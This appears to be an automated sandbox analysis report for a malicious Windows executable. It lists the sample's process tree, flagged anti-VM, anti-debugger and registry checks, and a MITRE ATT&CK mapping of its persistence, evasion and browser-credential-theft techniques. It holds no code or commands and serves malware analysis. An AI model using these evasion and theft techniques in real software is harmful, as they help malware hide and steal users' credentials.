
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4708 -ip 4708
1⤵
PID:3084

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4236 -ip 4236
1⤵
PID:2740

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6480

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:5284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 8176 -ip 8176
1⤵
PID:5616

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:7176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4136 -ip 4136
1⤵
PID:5936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Modify Authentication Process

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Authentication Process

Modify Registry

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion